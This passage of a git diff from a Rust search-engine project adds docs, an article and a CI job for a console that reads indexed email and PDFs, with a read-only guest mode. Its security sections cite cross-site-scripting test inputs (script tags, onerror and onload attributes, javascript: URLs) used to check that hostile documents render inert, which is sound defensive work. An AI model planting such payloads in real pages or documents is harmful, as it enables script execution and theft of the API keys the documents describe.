AI search engine and MCP server for bots and agents. One Rust binary indexes code, docs, logs, JSONL/CSV and PDFs for BM25 full-text, vector and hybrid search, code search without grep, agent memory and RAG. Elasticsearch-compatible API; Corpus Hub serves hundreds of reference memory corpora.
Rust agent-memoryai-agentsbm25claude-codeclicode-searchcursordatabaseelasticsearchfull-text-searchhybrid-searchjsonllocal-firstmcpmcp-servermodel-context-protocolragrustsearch-enginevector-search
feat(console): corpus home, a reader for any record, read-only guest mode (supersedes #923) (#945)
xerj-org0594579d6ee0
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.ymlindex 32c058e72..0f5d5b2aa 100644--- a/.github/workflows/ci.yml+++ b/.github/workflows/ci.yml@@ -678,13 +678,26 @@ jobs:steps:- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0+ # Node 22: the browser suite below drives Chrome over DevTools with the+ # global WebSocket, so xerj-ux keeps having no package.json to install.- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0with:- node-version: '20'+ node-version: '22'- - name: THE MAP pipeline contract+ - name: Console unit tests (THE MAP pipeline, safe-dom, reader, guest contract)run: node --test xerj-ux/test/*.test.mjs+ # The reader shows other people's email and a guest's API key lives in+ # sessionStorage: hostile documents must render inert in a REAL browser,+ # under the Content-Security-Policy the server ships, and a guest tab+ # must never call a console/admin endpoint. The runner image carries+ # Chrome; XERJ_REQUIRE_BROWSER turns "no browser found" from a skip into+ # a failure, so this can never go quietly green by not running.+ - name: Console browser security suite (headless Chrome)+ env:+ XERJ_REQUIRE_BROWSER: '1'+ run: node --test xerj-ux/test/browser/*.test.mjs+# The harnesses under demo/usecases/ are the only executable proof that the# shipped use cases still work — the brain HTTP surface, the MCP tool surface# an agent actually sees, and autoindex's zero-config discovery. Every one ofdiff --git a/README.md b/README.mdindex 99505f6ba..6b909d1b1 100644--- a/README.md+++ b/README.md@@ -404,6 +404,9 @@ limits each one does not lift:- [Second brain](./docs/SECOND_BRAIN.md) for the relationship layer over indexed documents:the `/_graph` routes, evidence on links, the eight detectors and the two-hop cap.+- [Console reader](./docs/CONSOLE_READER.md) for the console's corpus home, the reader for+ any record (an email with its attachments, a PDF page) and read-only guest mode, with+ the rendering rules that keep a hostile document inert and what it does not render.- [Scripting](./docs/SCRIPTING.md) for the Painless subset, where scripts run, and theresource limits that bound them.- [Snapshot and restore](./docs/SNAPSHOT_AND_RESTORE.md) for the supported subset of thediff --git a/content/answers/read-indexed-email-and-pdf-folder.md b/content/answers/read-indexed-email-and-pdf-folder.mdnew file mode 100644index 000000000..b2d9db000--- /dev/null+++ b/content/answers/read-indexed-email-and-pdf-folder.md@@ -0,0 +1,132 @@+---+title: "How do I read email and PDFs after indexing a folder?"+h1: "I indexed a folder of email and PDFs. How do I actually read what it found?"+description: "xerj brain indexes the folder and the console opens any record: an email with its attachments, a PDF page, and the files it links to. Extracted text only."+slug: "read-indexed-email-and-pdf-folder"+cluster: "Files and formats"+question: "I indexed a folder of email and PDFs. How do I actually read what it found?"+intent: "how-to"+published: "2026-09-18"+author: "XERJ documentation team"+reviewer: "XERJ engineering team"+schema_type: "TechArticle"+agent_prompt: "Act as a coding agent. Read https://xerj.org/llms.txt, run `xerj brain ./casefile --no-open` on a folder of .eml and .pdf files, search the index it reports for a word from one email subject, then give the person the console link `/_xerj-console/#/reader?index=INDEX&id=ID` for the best hit instead of pasting the whole document into the chat."+commands:+ - cmd: "xerj brain ./casefile --no-open"+ note: "Index the folder, detect the links between files, and print the console URL and the one-time passkey setup link."+ - cmd: "curl -s -XPOST http://localhost:9200/ax-docs/_search -H \"Authorization: ApiKey $XERJ_API_KEY\" -H 'content-type: application/json' -d '{\"query\":{\"bool\":{\"filter\":[{\"wildcard\":{\"email_subject\":{\"value\":\"*invoice*\",\"case_insensitive\":true}}}],\"must_not\":[{\"exists\":{\"field\":\"attachment_name\"}}]}},\"_source\":[\"email_subject\",\"email_from\",\"email_date\",\"ax_file\"],\"size\":5}'"+ note: "Find an email by a word in its subject; the _id of a hit is what the Reader link takes, and ax_file is what its attachments share."+ - cmd: "curl -s -XPOST http://localhost:9200/ax-docs/_search -H \"Authorization: ApiKey $XERJ_API_KEY\" -H 'content-type: application/json' -d '{\"query\":{\"bool\":{\"filter\":[{\"term\":{\"ax_file\":\"AX_FILE_OF_THE_EMAIL\"}},{\"exists\":{\"field\":\"attachment_name\"}}]}},\"_source\":[\"attachment_name\",\"page\",\"ax_locator\"],\"size\":50}'"+ note: "List the attachment records of one email: every record that came out of one .eml file shares its ax_file."+links_out:+ - "search-all-pdfs-in-a-folder"+ - "search-obsidian-pdf-docx-attachments"+ - "how-xerj-autoindexes-a-folder"+ - "knowledge-graphs-for-agent-memory"+ - "/docs/security"+evidence:+ - claim: "In the recorded run xerj brain turned 10 files into 81 records in one dataset, ax-docs, and wrote 33 links into the brain casefile."+ source: "docs/usecases/console-reader/live-e2e.json"+ - claim: "The shared index held 6 emails and 43 attachment records; the guest key got 200 on its own index and on the brain, 403 on another index, on autoindex-catalog and on a write, and 401 from the console API; the guest tab made 0 console API requests."+ source: "docs/usecases/console-reader/live-e2e.json"+ - claim: "The graph panel of the hostile email showed 2 linked records, both same_dir links of the file the email came from; the signed-in operator's graph panel was refused with HTTP 401 on the auth-enabled node."+ source: "docs/usecases/console-reader/live-e2e.json"+ - claim: "On an index where autoindex typed email_subject as keyword, match on email_subject for Lunch returned 0 hits with the subject Lunch on Friday? indexed, and the case-insensitive wildcard *lunch* returned 1."+ source: "docs/usecases/console-reader/review-repro/review-repro.json"+ - claim: "The console page is served with a Content-Security-Policy whose script-src and connect-src are 'self'."+ source: "engine/crates/xerj-console-api/src/spa.rs"+ - claim: "A guest session can build only _search, _count, _mapping and ego requests, and fails closed on a malformed or expired record."+ source: "xerj-ux/src/data/guest.js"+faq:+ - q: "I indexed a folder of email and PDFs. How do I actually read what it found?"+ a: "Open the console the run printed. The Corpus page lists what was indexed, and the Reader opens any record by id: an email with its headers, body text and attachment list, or one page of a PDF."+ - q: "Does the Reader show the original PDF or the HTML version of an email?"+ a: "No. It shows the text the extractor indexed. XERJ stores extracted text, not attachment bytes, and the Reader never renders email HTML: an HTML body is displayed as its source."+ - q: "How are an email and its attachments connected in the index?"+ a: "Every record that came out of one .eml file carries the same ax_file, and that is what the Reader joins on. A PDF attachment becomes one record per page section, so the Reader lists each attachment once. The email_message_id field is also copied to the attachments, but only when the message has a Message-ID header."+ - q: "Why does the panel of linked records say the links belong to the file?"+ a: "The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. The Reader reads the links of the email's file as well and marks them FILE."+ - q: "Is it safe to open a hostile email in the Reader?"+ a: "The Reader builds the page from text nodes, never from markup, and links no URL found in a document. In the recorded run a script-bearing subject and attachment name were displayed as text and nothing executed. That is a tested design, not a guarantee against every browser bug."+ - q: "Why does the linked-records panel say the graph API refused my session?"+ a: "On a node with auth on, which is the default, the console holds a passkey session and the graph API wants an API key. Search, records and attachments still work. The panel works on a node started with --insecure."+ - q: "Can I let someone else read one index without giving them my node?"+ a: "The console has a read-only guest mode driven by a share record that names one key, the shared indices, an optional brain and an expiry. It can only search and read those indices, and it logs out on expiry."+---++**TL;DR** — Run `xerj brain <folder>`, then open the console it prints. The Corpus page lists what was indexed, and the Reader opens any record: an email with its headers, body and attachments, or one PDF page, beside the files it links to. The Reader shows extracted text only. It renders no email HTML and no PDF pages.++## Index the folder, then open the console++`xerj brain <folder>` starts a local node if none is running, indexes every readable file, detects the links between files, and prints a console URL. A first run also prints a one-time passkey setup link. The node it starts has auth on, and its admin key is in `<data-dir>/admin.key`.++```sh+xerj brain ./casefile --no-open+```++In a recorded run, a folder of 10 files became 81 records in one dataset, `ax-docs`, and the brain `casefile` received 33 links. The folder held 6 `.eml` messages, two of them with a PDF attached, 2 more PDFs and 2 Markdown notes. The run is scripted in `docs/usecases/console-reader/` in the repository.++## Corpus lists what was indexed++The console's landing page is Corpus. It reads the `autoindex-catalog` index and shows one card per dataset: record, file and byte counts, the formats, the date range, the fields with their types, and the sample queries the catalog entry carries. A sample query opens the Reader with the sample's text in the search box and already run, over the Reader's search fields and the field the sample was written for.++A card describes the last `xerj brain` or `xerj autoindex` run over that dataset. The record count is the index total. The file count, the formats and the field types are that run's own, and the card labels them `last run`.++An empty node shows one command, `xerj brain <folder>`, and no sample data. If the catalog cannot be read, the page shows the error and nothing in its place.++## The Reader opens one record++The route is `/_xerj-console/#/reader?index=<index>&id=<id>`. Every hit in the console's Discover page links there, and an agent can hand a person that link instead of pasting a document into a chat. Find the id with an ordinary search:++```sh+curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"wildcard":{"email_subject":{"value":"*invoice*","case_insensitive":true}}}],"must_not":[{"exists":{"field":"attachment_name"}}]}},"_source":["email_subject","email_from","email_date","ax_file"],"size":5}'+```++The query is a `wildcard` and not a `match` for a reason. `xerj autoindex` usually types `email_subject` as `keyword`, because every attachment page record copies its email's subject and the field then holds few distinct values. On a `keyword` field a `match` finds only the whole subject. In a recorded check, `match` on `email_subject` for `Lunch` returned 0 hits while the subject `Lunch on Friday?` was indexed, and the `wildcard` for `*lunch*` returned 1. The `must_not` keeps the attachment records out, because each one carries a copy of the subject. The Reader's own search box does the same.++The Reader renders a record by its shape:++| Record | What the Reader shows |+|---|---|+| email | From, To, Cc, Date and Message-ID, the body text, and the attachment list |+| attachment | name, type and size, the extracted text of that page, and a link back to the email |+| PDF page | the title, the page number, and that page's text |+| file | the path and format, and every record that came out of that file |++## How one email is stored++`xerj autoindex` writes one record for the file, one for the message, and one for each page section of each attachment. All of them share `ax_file`, and the Reader joins an email to its attachments on it. The attachment records also copy `email_message_id`, stored without the angle brackets, but only when the message has a `Message-ID` header, and two files can carry the same id. The `ax_locator` field numbers the attachments: `att0-p3-s0` is page 3 of the first attachment. In the recorded run the shared index held 6 emails and 43 attachment records.++```sh+curl -s -XPOST 'http://localhost:9200/ax-docs/_search' \+ -H "Authorization: ApiKey $XERJ_API_KEY" -H 'content-type: application/json' \+ -d '{"query":{"bool":{"filter":[{"term":{"ax_file":"AX_FILE_OF_THE_EMAIL"}},{"exists":{"field":"attachment_name"}}]}},"_source":["attachment_name","page","ax_locator"],"size":50}'+```++Replace `AX_FILE_OF_THE_EMAIL` with the `ax_file` value of the email hit. A long PDF becomes many records. If one email carries more than 50, raise `size` or add `from` to read the next 50.++## The linked records come from the brain++Under the record, the Reader shows its one-hop neighbours from `GET /_graph/{brain}/ego`, grouped by link type. The same-folder, Markdown-link and path-citation detectors link file records, not the records inside a file. So the Reader also reads the links of the record's file and marks those `FILE`. In the recorded run the hostile email had 2 linked records, and both were same-folder links of its file.++The detectors are structural. No detector reads meaning from the text.++## It shows text on purpose++An email subject, an attachment name and a body are text that a stranger wrote. The Reader builds its page from text nodes and never from markup, renders no email HTML, and links no URL found in a document. The console page is served with a Content-Security-Policy that allows scripts and connections from its own origin only.++The recorded run includes one hostile message: a `<script>` in the subject, an `<svg onload>` in the sender name, and a PDF attachment named `"><img src=x onerror=…>.pdf`. The Reader displayed all of it as text. No payload executed, and no request left the origin. A control page in the same test suite renders the same subject through `innerHTML` and does get compromised, which proves that the fixtures are live.++## Two limits on a node with auth on++The linked-records panel is refused for a signed-in operator on a node with auth on, which is the default. The console holds a passkey session, and the graph API wants an API key. The panel says that it was refused. Search, records and attachments still work, and the panel works on a node started with `--insecure`.++The console's passkey sign-in works only when the console is reached at `http://localhost:9200`. A node on another port refuses the enrolment. Both limits are tracked in the repository's issue tracker as #935 and #936.++## Read-only guest mode++The console has a guest mode for share links. A share hands the console one record: a read-only API key, the shared index names, an optional brain, an expiry and a label. With that record the console starts a separate read-only shell that shows Corpus and the Reader for those indices under a banner with the expiry time.++In the recorded run the guest key received `200` on its own index and on the brain, and `403` on another index, on `autoindex-catalog` and on a write. The console API answered it `401`, and the guest tab made 0 console API requests. The key is the boundary. The shell exists so that the page never asks for more.diff --git a/docs/CONSOLE_READER.md b/docs/CONSOLE_READER.mdnew file mode 100644index 000000000..e304a3bf6--- /dev/null+++ b/docs/CONSOLE_READER.md@@ -0,0 +1,342 @@+# The console: corpus home, reader, and guest mode++`xerj brain <folder>` indexes a folder and opens the bundled console+(`/_xerj-console/`). This page documents the three console surfaces that show+**your own documents** — what was indexed, any one record, and a read-only view+for someone you shared an index with — and the security design behind them,+because a reader for email displays text that strangers wrote.++Source: `xerj-ux/src/` (a buildless SPA, embedded into the binary by+`engine/crates/xerj-console-api/build.rs`). A recorded end-to-end run against a+real node is in [`docs/usecases/console-reader/`](./usecases/console-reader/README.md).++## Corpus home++The console's landing route (an empty hash, or `#/corpus`) answers "what is+indexed on this engine?".++- One card per dataset recorded in the `autoindex-catalog` index — the+ `doc_kind: "dataset"` documents `xerj autoindex` / `xerj brain` write+ (`engine/crates/xerj-autoindex/src/catalog.rs`). A card shows the index name,+ record / file / byte counts, formats, the time span, the `semantic_text`+ field if there is one, the best-covered fields with their types, and the+ sample queries the catalog entry carries.+- **A card describes the last run, not the whole index.** The catalog entry is+ rewritten by each `xerj brain` / `xerj autoindex` run over the dataset. The+ record count is the index's total at the end of that run; the file count,+ bytes, formats, `semantic_text` field and field types are that run's own.+ After a second `xerj brain` over another folder that lands in the same+ index, the card shows the second folder's files and formats beside the+ combined record count. The card labels those facts `last run`. A guest's+ card is counted from the index itself and does not have this limit: records,+ emails (one per message: a `msg-s0` or `m<offset>-msg-s0` record, so an+ email without a `Message-ID` and a long email each count once), attachment+ records and formats.+- A sample query opens the Reader with the sample's **text** in the search box+ and run over the Reader's search fields (below). The field the sample was+ written for is always among them, so the Reader finds what the catalog's own+ request finds; because it searches more fields than the sample did, it can+ find more. It is not a byte-for-byte replay of the catalog's request.+- Any other user index the engine holds is listed by name and document count,+ so an engine filled some other way does not read as empty.+- **Empty engine:** the page shows one command, `xerj brain <folder>`, and+ nothing else.+- **Catalog unreadable:** the page shows the error and says nothing is shown in+ its place.++There is no sample corpus. Corpus, Discover and the Reader are listed in+`NEVER_MOCK` (`xerj-ux/src/data/query.js`): they get the engine's answer or an+explicit error. The console's in-memory mock data still backs the telemetry+dashboards that have no live source, and those are labelled `SAMPLE DATA`.++## Reader++Route: `#/reader?index=<index>&id=<id>[&brain=<brain>]`. A search box and+result list on the left, the open record on the right, and the records the+brain links it to underneath. Every hit in Discover links here by id.++A record is rendered by **shape**, detected from its own fields (the autoindex+extractors are the contract — `engine/crates/xerj-autoindex/src/extract/`):++| Shape | Detected by | Shown |+| --- | --- | --- |+| email | `email_subject` / `email_from` / `email_message_id` | headers, the text body, the attachment list |+| attachment | `attachment_name` | name, type, size, the extracted text (per page for a PDF), a link back to the parent email |+| pdf | `page` + `body` | title, page number, that page's extracted text |+| code symbol / file | `name` + `language` + `code`, or `language` + `defs` | signature, file and line, the code |+| note | `body` or `text` | title and text — markdown, docx, html, plain text |+| file | `ax_locator: "file"` and no text | the one record autoindex writes per *file*: path, format, and the records that came out of it (the message first, then pages in order) |+| anything else | — | the `_source` as JSON; vector and passage plumbing fields are counted, not dumped |++An email's attachments and an attachment's parent are joined on **`ax_file`**,+the id autoindex stamps on every record that came out of one file, narrowed to+the record's **message** by its `ax_locator`. The attachment list is the file's+records whose locator starts with the message part followed by `att`; an+attachment's parent is the file's record whose locator starts with the message+part followed by `msg-`, its first section. For an `.eml` the message part is+empty (one file, one message: `msg-s0`, `att0-p3-s0`). A locator can also carry+a message part `m<offset>-` (`m812-msg-s0`, `m812-att0-p3-s0`), which is the+shape of the mailbox (mbox) ingest in+[#949](https://github.com/xerj-org/xerj/pull/949): one file holds many+messages, and joined on the file alone one email would list the attachments of+every message in the mailbox. A record whose locator has neither shape joins on+`ax_file` alone.++The join does not use `email_message_id`. The extractor stamps that field only+when the message has a `Message-ID` header, and two files can carry the same id+(a copy in `inbox/` and one in `archive/`). Joined on it, the first email+showed no attachments at all and the second pair pooled each other's.+`email_message_id` is the fallback only for records that carry no `ax_file`+(written by something other than autoindex).++A PDF attachment contributes one record per page section. The attachment list+shows each attachment once, at its lowest page, in the order the email carries+them. Attachments are told apart by the ordinal the extractor puts in the+record's locator (`att0-p3-s0`, `att1-s0`), not by file name, so two attachments+both named `scan.pdf` are two entries. To build the list the Reader reads the+email's attachment records a page of 1,000 at a time — seven small fields each,+never the page text — up to 5,000 records. If an email holds more, the list is+headed `ATTACHMENTS · N+` and says how many records exist and how many were+read. If the join fails, the email says its attachments could not be read; it+does not show an empty list. Every record also links up to its file's record+(`FROM FILE`), joined on `ax_file`; a file record lists the first 200 of its+records and says `200 OF 303 SHOWN` when there are more.++#### What the search box searches++`MATCH`, `PHRASE` and `PREFIX` (and the lexical leg of `HYBRID`) run over+**every text-typed field in the mapping** — `body` first, then `message`,+`content`, `text`, then the rest in mapping order, at most 12 — plus+`email_subject`, `title` and `attachment_name` when the mapping has them. One+index can hold its text under more than one name: autoindex's prose extractors+write `body`, its line extractor (Makefile, `.ini`, logs) writes `text`.++autoindex usually types an email's subject, a title and an attachment's file+name as **`keyword`**, not `text`: every attachment page record copies its+parent's subject, the field's cardinality ratio collapses, and the type+inferrer picks `keyword`. On a keyword field the engine's `match` needs the+whole value — measured on a live node, `{"match":{"email_subject":"Lunch"}}`+returns 0 hits with the subject `Lunch on Friday?` indexed+([`review-repro.json`](./usecases/console-reader/review-repro/review-repro.json),+recorded 2026-09-19). So for a+keyword-typed search field the Reader sends a case-insensitive `wildcard`+instead: `MATCH` is one `*word*` clause per word, OR-ed; `PHRASE` is+`*the words as typed*`; `PREFIX` is `typed*`. That is a **substring** test, not+token matching: `on` also finds `Duplication`. `*`, `?` and `\` typed into the+box are matched as "any one character", never as a pattern. The subject clause+matches the message's own records only; an attachment record carries a copy of+its parent's subject and is found by its own name and text instead.++`TERM` needs `field=value` and `RANGE` needs `field>=value` (or `>`, `<=`,+`<`). Anything else is not sent: the list says `NOT SEARCHED` and shows the+syntax. The list shows 25 results; `SHOW 25 MORE` extends it up to 200, and past+that it says so.++What the Reader does **not** do: it does not render a PDF's pages or an+email's HTML. It shows the text the extractor indexed. The engine stores+extracted text, not attachment bytes.++### The graph panel++The panel is a `GET /_graph/{brain}/ego?node=<id>&hops=1&direction=both` call+([SECOND_BRAIN.md](./SECOND_BRAIN.md#get-_graphbrainego)). Neighbours are+grouped by edge type, each one a link that opens in the same Reader.++autoindex's file-level detectors (`same_dir`, `mdlink`, `pathcite`, `href`)+link **file records**, not the records inside a file — in the recorded run the+email message record has no edge of its own, while its file has two. So for a+record that is not itself a file record the panel makes a second `ego` call for+the record's file and merges the two; links that came through the file are+marked `FILE`, and the panel's last line says how many did and why. A brain+that is missing or refused is asked once, not twice.++The panel states, in words, which of these is true: no brain for this index, a+brain with no links for this record, links clipped by the limit, links to ids+with no document behind them, or a refusal.++**On an auth-enabled engine (the default) the graph panel is refused for a+signed-in operator.** The console holds a passkey session, not an engine API+key, and the console's search proxy deliberately cannot read the reserved+`.xerj-memory-*` namespace+([SECURITY_MODEL.md](./SECURITY_MODEL.md)). Search, records and attachments go+through the session-authenticated proxy and work; the graph panel says "the+graph API refused this console session (HTTP 401)" rather than claiming there+are no links. On `--insecure` it works. A guest's graph panel works on an+auth-enabled engine, because a guest *has* a key (below). Tracked as+[#936](https://github.com/xerj-org/xerj/issues/936).++### Discover++Discover derives its index list and its query fields from the engine — through+the console session API (`…/data-sources/connections/built-in/indices` and+`…/indices/{index}/fields`), not `GET /_mapping`, which an auth-enabled engine+refuses a console session. The REQUEST panel shows the body that was sent; the+preview and the executed body are built by one function+(`xerj-ux/src/data/search-body.js`). `*` runs against one index at a time — the+search proxy takes a single exact index name — and the results header names+which. While a search is in flight the table says so; when one fails it shows+the error and zero rows.++`SEMANTIC` and `HYBRID` use the index's `semantic_text` field. With the default+embedder that is lexical feature hashing, not a neural model. Two things the+console does because of how the engine treats `hybrid`, both measured on a live+node: a HYBRID search carries no aggregations (the engine answers `400` to+`aggs` beside a fusion query), so Discover shows no facets or histogram under+HYBRID and says why; and a facet filter is put inside each leg of the hybrid,+because `bool{must: hybrid, filter}` returns 0 hits and `post_filter` is+ignored, both without an error+([#943](https://github.com/xerj-org/xerj/issues/943)).++## Guest mode++A share link's guest page (built separately; `POST /_share/{id}/claim`) hands+the browser to the console by writing **one** `sessionStorage` record:++```js+sessionStorage['xerj.share'] = JSON.stringify({+ api_key: '<base64 id:secret — a read-only key minted for this claim>',+ index: 'ax-inbox', // or 'a,b' — comma-joined+ brain: 'inbox', // or null: no graph in this share+ expires_at: '2026-09-25T18:00:00Z', // RFC 3339+ label: 'Q3 board pack', // or null+})+```++When that record is present, `xerj-ux/src/boot.js` starts the guest shell+(`guest-app.js`) **instead of** the operator console — before any console API+call, including the `/me` auth probe.++- **What a guest sees:** a banner — `Guest · read-only · <label> · expires+ <UTC time> (<time left>)` — and two views, CORPUS (what the shared indices+ hold, counted from the indices themselves) and READER. No dashboards, no+ Discover, Data, Users, Alerts or Settings, no edit mode. Operator routes typed+ into the address bar land on the guest's corpus view.+- **What a guest's tab can request:** `POST /{shared}/_search`,+ `POST /{shared}/_count`, `GET /{shared}/_mapping`,+ `GET /_graph/{shared brain}/ego`. URLs are built from the share's own+ validated names; there is no function in guest mode that takes a path. A+ fetch guard additionally refuses every other request — other indices,+ `/_xerj-console/api/…`, `/_cat`, `/_cluster`, any other origin — before it+ reaches the network. The key is attached per request, never with a cookie.+- **It fails closed.** A record with no key, no index, a pattern / `_all` /+ dot-prefixed index, a malformed brain, or a missing, unparseable or past+ `expires_at` is not a share: the record is cleared and the tab shows "this+ share link is not valid". No request is made with it.+- **Refusals do not leak.** A `403` is shown as "not permitted"; the engine's+ error body — which names resources and the grant that would fix it — is never+ read into the page. A refused graph shows "This share does not include the+ knowledge graph."+- **How it ends:** `expires_at` passing (checked on a timer, on every request,+ and when the tab becomes visible again), a `401` (the key was revoked), or+ LEAVE. Each removes the key from `sessionStorage`, removes the documents from+ the page, and stops all requests.++The UI is not the security boundary — the key is. A guest key is `read` on the+shared indices and nothing else, so the engine refuses anything the UI would+have refused. The guard exists so the UI never even asks, and so a regression+shows up as a failing test instead of as a `403` in someone's audit log.++## Security design: documents are attacker-controlled++Anyone can mail you `<img src=x onerror=…>` as a subject, name an attachment+`"><script>…`, or put a `javascript:` URL in a body. In guest mode the viewer's+API key sits in `sessionStorage` on the same origin, so one script execution is+key theft. The design removes the HTML parser from the path instead of relying+on escaping at every interpolation:++1. **No markup from data.** The corpus home, the reader and the whole guest+ shell render through `xerj-ux/src/ux/safe-dom.js`: `createElement`,+ `createTextNode`, `setAttribute`, `replaceChildren` — nothing else. A+ document string can only become a text node or an inert attribute value.+ Tags and attribute names come from closed allow-lists with no `script`,+ `img`, `svg`, `iframe`, `style`, `form`, no `src` / `style` / `on*`; an+ unknown one throws.+2. **No links out.** The only `href` that survives is an in-app hash route+ (`#/…`). A URL in a document is displayed as text. `javascript:`, `data:`,+ `vbscript:`, protocol-relative and absolute URLs are dropped.+3. **Email HTML is never rendered.** An HTML body that reached the index is+ shown as its source.+4. **Highlights without `<em>`.** The engine splices highlight tags into raw,+ unescaped document text. The reader asks for two private-use code points+ (U+E000 / U+E001) as delimiters, splits on them, and emits text and `<mark>`+ elements. A document that forges the delimiters gets at worst a stray+ `<mark>`.+5. **A Content-Security-Policy on the console page**+ (`engine/crates/xerj-console-api/src/spa.rs`, `CONSOLE_CSP`):+ `script-src 'self'` (no inline script, no `eval`), `connect-src 'self'`,+ `object-src 'none'`, `base-uri 'none'`, `frame-ancestors 'none'`. The page+ has no inline script. This is the second wall: a missed escape in some other+ view cannot run script or send a key to another origin.+ `style-src` allows `'unsafe-inline'` because the operator shell sets `style`+ attributes. `login` and `setup` carry an inline module script, show no+ document data, and are served without the policy.+6. **The rest of the operator console** (Discover's table, facets, charts)+ still builds HTML strings and escapes at each interpolation. It is covered+ by the same hostile-fixture browser test and by the policy, not by+ construction.++### Tests++```sh+node --test xerj-ux/test/*.test.mjs # pure: render trees, guest contract, import graph+node --test xerj-ux/test/browser/*.test.mjs # real headless Chrome (Node >= 22, no npm install)+```++The browser suite drives Chrome over the DevTools protocol against a fake node+that serves the real SPA under the policy string parsed out of `spa.rs`, with+hostile documents in every position an outsider controls: subject, sender,+recipients, dates, message ids, attachment filenames, bodies, highlight+fragments, graph node titles and edge types, catalog sample queries, field+names, record ids. A control page first proves the same fixtures *do* execute+through `innerHTML` and that the harness sees the key leave for another origin.+The suite then asserts no payload ran, no dialog opened, no request left the+origin, the policy reported no violation, and the document-derived DOM holds no+forbidden element, no `on*` / `src` / `style` attribute and no `href` other+than `#/…`. The guest suite asserts the request log: only the four operations,+never a console endpoint, the key only on those requests, the operator bundle+never downloaded.++Set `XERJ_REQUIRE_BROWSER=1` to make a missing Chrome a failure instead of a+skip (CI does).++## What is not covered here, and known limits++- The share link itself — minting, passcodes, claim limits, revocation — is a+ separate surface; this page covers only what the console does with the+ record it is handed.+- The operator's graph panel needs `--insecure` today (above,+ [#936](https://github.com/xerj-org/xerj/issues/936)).+- The console's passkey sign-in only works when the console is reached at+ `http://localhost:9200`: the WebAuthn relying-party origin is fixed+ (`xerj-console-api/src/state.rs`, `RpConfig::default`), so a node on another+ port refuses enrolment+ ([#935](https://github.com/xerj-org/xerj/issues/935)). That predates this+ work and affects the whole operator console, not only these views; guest mode+ does not sign in and is unaffected.+- `xerj brain` still opens the Second Brain dashboard+ (`#/second-brain?brain=<name>`); the Corpus home is where a bare+ `/_xerj-console/` lands.+- `*` in Discover searches one index at a time.+- An operator's Corpus card describes the last `xerj brain` / `xerj autoindex`+ run over the dataset, not the whole index (above).+- Subject, title and file-name search is a substring test when autoindex typed+ the field `keyword`, which it usually does (above). A text + keyword+ multi-field for those fields would make it token search; that is an autoindex+ change and is not part of this work.+- The Reader's result list stops at 200. An email's attachment list reads at+ most 5,000 attachment records and says so when there are more.+- A reader deep link opened without a session returns to the same record after+ sign-in (the route is kept in `sessionStorage` across the `/login` redirect;+ only an in-console `#/…` route is ever kept). First-boot `/setup` links use+ their own `&next=`.+- After a share ends in a tab — expiry, revocation or LEAVE — that tab keeps+ showing the ended screen on reload, through a `sessionStorage` marker that+ holds the reason and nothing else. The screen has an `OPERATOR SIGN-IN`+ button that clears it.+- PDF pages and email HTML are shown as extracted text, never rendered.+- The console loads its fonts from Google Fonts, in guest mode too. The page is+ served with `Referrer-Policy: no-referrer`; an air-gapped deployment sees+ fallback fonts.+- A browser extension, or anyone with access to the guest's unlocked browser+ profile, can read `sessionStorage`. The key's lifetime and its read-only,+ index-scoped grant are what bound that.diff --git a/docs/SECOND_BRAIN.md b/docs/SECOND_BRAIN.mdindex a905dfcc6..a7d465f6e 100644--- a/docs/SECOND_BRAIN.md+++ b/docs/SECOND_BRAIN.md@@ -106,6 +106,28 @@ to the folder's name.You can also build a brain with no folder at all, by asserting edges through theHTTP API. The edges index is created lazily on the first `link` call.+## Reading it in the console++The bundled console has three surfaces for the documents a brain is built over,+documented in [`CONSOLE_READER.md`](./CONSOLE_READER.md):++- **Corpus** (`/_xerj-console/`, the landing route) — one card per dataset in+ the `autoindex-catalog` index, or the one command to run on an empty engine.+- **Reader** (`#/reader?index=<index>&id=<id>&brain=<brain>`) — any record,+ rendered by its shape (an email with its attachments, a PDF page, a note, a+ code symbol), beside a panel of what the brain links it to: one+ `GET /_graph/{brain}/ego` call with `hops=1`, grouped by edge type.+- **Guest mode** — a read-only view of exactly the shared indices for the+ holder of a share link, with a visible expiry.++Two limits worth knowing before you rely on it. On an auth-enabled engine (the+default) the Reader's graph panel is refused for a signed-in operator, because+a console session is not an engine API key and the console's proxy cannot read+the reserved namespace (see [the tenant boundary](#the-reserved-namespace-is-a-tenant-boundary));+records, search and attachments still work, and the panel says it was refused+rather than claiming there are no links. And the Reader shows extracted text:+it does not render PDF pages or email HTML.+## The endpointsAll four graph routes are mounted on the ES-compatible router, alongside the@@ -640,8 +662,10 @@ model, `--tunnel` — is in [SHARING.md](./SHARING.md).## What is not covered here-- Console and MCP surfaces for the second brain exist but are not documented in- this file.+- The console's corpus home, reader and guest mode are documented in+ [`CONSOLE_READER.md`](./CONSOLE_READER.md). The console's Second Brain+ dashboard (THE MAP, the ego ledger) and the MCP surface exist but are not+ documented in this file.- Edge fields `src_format` and `dst_format` are written by the detectors and arein the mapping, but no endpoint documented above returns them in a shapedresponse field of their own; they arrive as part of an edge's `_source` whendiff --git a/docs/usecases/console-reader/README.md b/docs/usecases/console-reader/README.mdnew file mode 100644index 000000000..1d69efec9--- /dev/null+++ b/docs/usecases/console-reader/README.md@@ -0,0 +1,157 @@+# Reading an indexed folder of email and PDFs — a recorded live run++This is the end-to-end check behind [`docs/CONSOLE_READER.md`](../../CONSOLE_READER.md):+the real `xerj` binary with **auth on** (the default), a real folder indexed by+`xerj brain`, and a real headless Chrome driving the console — once as a+signed-in operator, once as a share-link guest holding a read-only key.++```sh+./run.sh /path/to/xerj [port] # default 9550 (+1 REST, +2 gRPC)+```++Needs Node >= 22, Chrome (or `CHROME_BIN`) and `python3`. Everything it writes+goes under a temp dir (`$WORK`); the node it boots is stopped at the end. The+script **refuses to start when its port is already in use**: `xerj brain`+attaches to a server that is already running, and this corpus — hostile email+included — must only ever be indexed into the node the script booted itself.+[`live-e2e.json`](./live-e2e.json) is the output of the run recorded for this+change; the numbers quoted in the docs and the article come from it.+[`live-e2e-2026-09-19.json`](./live-e2e-2026-09-19.json) is the same script run+again after the review fixes below: the same 81 records, 10 files, key+statuses, linked records and guest request list; record ids differ (the `.eml`+files are regenerated with new MIME boundaries), and the `invoice` search now+lists 3 